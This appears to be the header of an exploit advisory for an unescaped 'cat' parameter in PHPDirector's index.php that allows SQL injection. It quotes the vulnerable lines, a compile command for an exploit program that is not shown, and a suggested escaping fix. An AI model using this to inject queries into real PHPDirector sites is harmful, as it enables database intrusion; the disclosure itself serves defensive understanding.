 {PHP.ini}-> Magic Quotes off
 {Written}-> by Juri Gianni aka yeat - staker[at]hotmail[dot]it 
 {WhereIs}-> http://sourceforge.net/projects/phpdirector/
 {Compile}-> gcc -o exploit exploit.c 
 
 
 {Details}-> index.php (line 56-58)
  
 56. }elseif (isset($_GET["cat"])) {
 57. $cat = $_GET["cat"];
 58. $_query = sprintf("SELECT SQL_CALC_FOUND_ROWS * FROM pp_files WHERE `category` = '$cat etc..)
  
 {Bug}-> $cat variable is not checked so we have a sql injection
 {Fix}-> $cat = mysql_real_escape_string($_GET['cat']);
